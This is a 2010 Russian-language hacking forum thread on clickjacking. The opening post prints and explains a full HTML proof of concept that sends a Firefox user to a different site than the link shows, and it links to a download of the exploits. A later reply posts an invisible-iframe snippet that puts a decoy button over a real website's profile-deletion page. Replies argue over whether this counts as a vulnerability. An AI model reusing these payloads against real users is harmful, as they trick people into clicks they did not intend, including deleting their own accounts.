Clickjacking

Discussion in 'Уязвимости' started by HIMIKAT, 30 Aug 2010.

  1. HIMIKAT

    HIMIKAT Elder - Старейшина

    Joined:
    12 Jan 2007
    Messages:
    2,707
    Likes Received:
    581
    Reputations:
    403
    Описание


    Впервые о данной атаке рассказывал Джереми Гроссман. Потом эту идею подхватили Иранские хакеры из Securitylab.ir в лице Пойа Данешманд, опубликовали несколько эксплойтов на данную тему для различных браузеров. А что такое Clickjacking? А это когда пользователь кликает по ссылке А, а его по какой-то причине кидает на ссылку Б. То есть это некоторая обманка, которая позволяет запудрить жертве мозги (или глаза).

    Эксплойт выглядит как обычная HTML-страничка. При ее открытии видна ссылка на иранский сайт, если навести мышкой на ссылку, то в статусной строке четко отпишется имя этого сайта. Вроде никакого подвоха. Зато когда кликнешь по ссылке, браузер идет совсем на другой сайт. Как это реализовано - сейчас и посмотрим. Разбирать будем эксплойт для FireFox, так как данный браузер наиболее популярен. Собственно текст HTML:
    Code:
    <html><head>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <title>FF3.6.7/SM 2.0.6 ClickJacking Vulnerability</title>
    </head><body>
     
    <div id="mydiv" onmouseover="document.location='http://www.mozilla.org';" style="border: 0px none ; background: rgb(0, 0, 0) none repeat scroll 0% 0%; position: absolute; width: 2px; height: 2px; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"></div>
    <script>
    function clickjack_armor(evt)
    {
        clickjack_mouseX=evt.pageX?evt.pageX:evt.clientX;
        clickjack_mouseY=evt.pageY?evt.pageY:evt.clientY;
        document.getElementById('mydiv').style.left=clickjack_mouseX-1;
        document.getElementById('mydiv').style.top=clickjack_mouseY-1;
    }
    </script>
    <center>
    <br>
    <center><h1><font face="Calibri">Firefox 3.6.7 / SeaMonkey 2.0.6 Clickjacking Vulnerability</font></h1>
     <p> </p>
    <div style="border-top-style: solid; border-top-width: 1px; padding-top: 1px">
        <b><br><br>
     
        <a href="http://www.Securitylab.ir" onclick="clickjack_armor(event)"> Go
        to the http://www.Securitylab.ir : (http://www.mozilla.org)</a></b></div>
    <div style="border-bottom-style: solid; border-bottom-width: 1px; padding-bottom: 1px">
     <p> </div>
    <p> </p>
    </center>
    <div style="border-top-style: solid; border-top-width: 1px; border-bottom-style: solid; border-bottom-width: 1px; padding-top: 1px; padding-bottom: 1px">
        <b><font face="Calibri">Pouya Daneshmand, Securitylab.ir</font></b></div>
     
    </center></body></html>
    Первым делом обратим внимание на малюсенький слой <<mydiv>>. Данный слой будет в верхнем левом углу браузера, и, как видно из его свойств, при наведении мышки на этот слой браузер сделает редирект на сайт разработчика браузера. В центре же есть ссылка, но при клике стоит событие на вызов функции clickjack_armor(). При наведении будет указываться ссылка на иранский сайт. Функция clickjack_armor() меняет размеры слоя <<mydiv>> под координаты мышки, что автоматически запускает событие слоя onmouseover и грузится сайт Мозиллы. В итоге для пользователя это выглядит, как если бы он кликнул на один сайт - иранский, а попал на другой - Мозиллы.

    Браузеры подверженные уязвимости:

    FireFox 3.6.8
    Netscape 9.0.0.6
    Opera 10.60
    Safari 4.0.2

    Для FireFox существуют 2 эксплойта. Первый стандартный ссылка-обманка, а второй доработанный, ссылка-обманка но для переадресации по ней не надо даже кликать, достаточно просто навести курсор и она автоматически активизируется.

    Я заснял видео эксплуатации данной уязвимости на примере FireFox:
    http://www.youtube.com/watch?v=mTwiBKzYFDU

    Скачать эксплойты:
    http://www.sendspace.com/file/cc7kdk
     
  2. Iggy

    Iggy New Member

    Joined:
    24 Jun 2010
    Messages:
    104
    Likes Received:
    4
    Reputations:
    1
    Хедеры смотрел?!
     
  3. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Неужели IE в списке уязвимых браузеров не значится?
     
  4. Iggy

    Iggy New Member

    Joined:
    24 Jun 2010
    Messages:
    104
    Likes Received:
    4
    Reputations:
    1
    Очнись! Там XSS фильтр, который только на Black Hat'e похекали! =\
     
  5. Anarh1st

    Anarh1st Member

    Joined:
    19 May 2010
    Messages:
    32
    Likes Received:
    5
    Reputations:
    0
    В первом посте приведен аккуратный код, а на деле быдлокодовщина встречается очень часто (:)
     
  6. Iggy

    Iggy New Member

    Joined:
    24 Jun 2010
    Messages:
    104
    Likes Received:
    4
    Reputations:
    1
    В каком месте он аккуратный?! Да он из-за одних только стайлов в ширину больше чем в длину! Это первое, а во-вторых clickjack_armor(evt) в идеале - 1 строка! Просто расписан, для тех кому не видно с титаника...
     
  7. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    а я вот думал отписать что ето гавно или нет)
     
    1 person likes this.
  8. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Ну я не имел ввиду последние версии. Юзеров с 6ой и 7ой версией еще навалом.
     
  9. ZnikiR

    ZnikiR Member

    Joined:
    14 Jan 2009
    Messages:
    117
    Likes Received:
    21
    Reputations:
    -5
    Скачал эксплоиты, затестил в хроме.
    Всё работает.
    Только лично по мне, смысла Я в этом не вижу.
     
  10. Обург

    Обург New Member

    Joined:
    5 Dec 2009
    Messages:
    2
    Likes Received:
    1
    Reputations:
    5
    вообще то до сих пор принцип кликджакинг был такой:
    Открывается страница, на которой прозрачный фрейм на всю страницу, и куда бы ты не кликнул, ты попадаешь на подставную страницу. Так же есть варианты, когда с помощью яваскрипт заставляют ссылку всюду следовать за мышкой, и на какую бы ссылку не нажал, яваскрипт подставляет подставную ссылку.

    То что ты описал, это обычный яваскрипт в html, функция onmouseover :rolleyes:
     
  11. to.Index

    to.Index Member

    Joined:
    3 Jul 2010
    Messages:
    42
    Likes Received:
    22
    Reputations:
    5
    PHP:
    <input type="button" id="btn" style="height:20px;
          margin-left:85px;
          margin-top:1px;
          opacity:1;
          position:absolute;
          cursor: pointer;
          width:60px;" 
    value="Los!" />

    <
    iframe style="opacity:0; filter: alpha(opacity = 30); margin-top: -800px; margin-left: -275px; position: absolute;" src="http://www.technobase.fm/profile/delete/" width="800px" height="1000px" id="frame" scrolling="no" allowtransparency="true" />
     
  12. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Пепец, этому способу уже десятки лет наверное, менялся он незначительно, раньше было при помощи window.status, потом просто редирект, и все это через банальный яваскрипт-код. Уязвимости тут никакой нет - просто особенность html и javascript.
     
  13. p0deje

    p0deje New Member

    Joined:
    29 Aug 2010
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Ну как это уязвимсоти нет. А как же первоначальный эксплойт rsnake'a для Adobe Flash, включающий веб-камеру и микрофон? А как же установка нежелательных плагинов в Firefox?
     
  14. SeriousBeige

    SeriousBeige New Member

    Joined:
    2 Sep 2010
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    после игры с эксплойта и firebug, использовать несколько раз перестали работать ...
    Я ничего не изменил...
    странно ...
     
    #14 SeriousBeige, 5 Sep 2010
    Last edited: 6 Sep 2010